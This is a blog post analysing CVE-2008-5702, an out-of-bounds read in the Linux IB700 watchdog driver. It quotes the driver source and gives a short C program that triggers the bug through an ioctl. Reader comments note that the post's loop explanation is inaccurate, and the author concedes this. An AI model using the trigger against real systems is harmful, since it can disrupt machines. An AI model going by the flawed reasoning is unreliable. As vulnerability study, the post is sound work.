xorl %eax, %eax

Integer underflow at IB700 Single Board Computer WDT driver

with 6 comments

Some guys that saw my notes on this bug found them interesting, so here are some simple notes for the CVE-2008-5702. It’s extremely straightforward vulnerability as you can see:

file: drivers/watchdog/ib700wdt.c
function: ibwdt_set_heardbeat()
affected kernels: 2.6.24 – 2.6.27.8

 149 static int
 150 ibwdt_set_heartbeat(int t)
 151 {
 152         int i;
 153
 154         if ((t < 0) || (t  > 30))
 155                 return -EINVAL;
 156
 157         for (i = 0x0F; i &gt; -1; i--)
 158                 if (wd_times[i] > t)
 159                         break;
 160         wd_margin = i;
 161         return 0;
 162 }

Assume that:
1) t = 30
2) 30 < 0 = false, 30 > 30 = false
3) On the last iteration of the loop at line 157
wd_times[0] > 30
which is false because:

94 static int wd_times[] = {
 95         30,     /* 0x0 */
 96         28,     /* 0x1 */
 97         26,     /* 0x2 */
 98         24,     /* 0x3 */
 99         22,     /* 0x4 */
 100         20,     /* 0x5 */
 101         18,     /* 0x6 */
 102         16,     /* 0x7 */
 103         14,     /* 0x8 */
 104         12,     /* 0x9 */
 105         10,     /* 0xA */
 106         8,      /* 0xB */
 107         6,      /* 0xC */
 108         4,      /* 0xD */
 109         2,      /* 0xE */
 110         0,      /* 0xF */
 111 };

Which means: 30 > 30 and thus the for() loop continues by decrementing the counter to: i–
which makes i = -1!!! Then: -1 > -1 = false and it enters the loop once again, now:
if (wd_times[-1] > 30)

This is a read out of bounds on wd_times[] array.
Trigger:
This code can be reached through ibwdt_ioctl() as shown in the following snippet:

 190 static long ibwdt_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
 191 {
 192         int new_margin;
 193         void __user *argp = (void __user *)arg;
 194         int __user *p = argp;             
                ...
 234         case WDIOC_SETTIMEOUT:
 235                 if (get_user(new_margin, p))
 236                         return -EFAULT;
 237                 if (ibwdt_set_heartbeat(new_margin))
 238                         return -EINVAL;
 239                 ibwdt_ping();
 240                 /* Fall */

This means that int t of ibwdt_set_heartbeat() function is completely user controlled integer.

#include <stdio.h>
 #include <fcntl.h>
 #include <unistd.h>
 #include <linux/ioctl.h>

 #define WATCHDOG_IOCTL_BASE     'W' 
 #define WDIOC_SETTIMEOUT        _IOWR(WATCHDOG_IOCTL_BASE, 6, int)

int main(void) {
{     int fd = open("/dev/watchdog", O_WRONLY);     
      if(fd == -1) return 12;     
      int evil = 30;    
      ioctl(fd, WDIOC_SETTIMEOUT, &evil);
      return close(fd);
}

As I said, it’s an extremely simple bug.

Written by xorl

January 1, 2009 at 07:41

Posted in bugs, linux

6 Responses

Subscribe to comments with RSS.

  1. Just wanna congratulate you for the new look. It’s much better than the old one :)

    Adrián

    November 18, 2010 at 12:44

  2. Thanks :)

    xorl

    November 18, 2010 at 12:58

  3. It is before my coffee intake so pardon any stupidity

    Which means: 30 > 30 and thus the for() loop continues by decrementing the counter to: i–
    which makes i = -1!!! Then: -1 > -1 = false and it enters the loop once again, now:
    if (wd_times[-1] > 30)

    The wording above seems off to me. When i=0 (because t=30 and wd_times[0] !> t), then it goes through the for loop, passing the conditional check i(0) > -1. i then gets decremented to -1 and the out of bound read occurs; there is no -1 > -1 check.

    Is that correct or am I missing something?

    jon

    November 20, 2010 at 15:23

  4. You’re correct. This was an almost 2008 (1 jan. 2009) post i did from 25c3 just for fun. There are many mistakes in my early posts.

    xorl

    November 20, 2010 at 16:42

  5. Btw, my goal isn’t to point out mistakes; it’s to learn :-) Thanks for all the effort you put into this, I greatly appreciate it!

    jon

    November 20, 2010 at 20:07

  6. It’s ok, thank you for pointing this out for future readers. :)

    xorl

    November 20, 2010 at 21:45


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s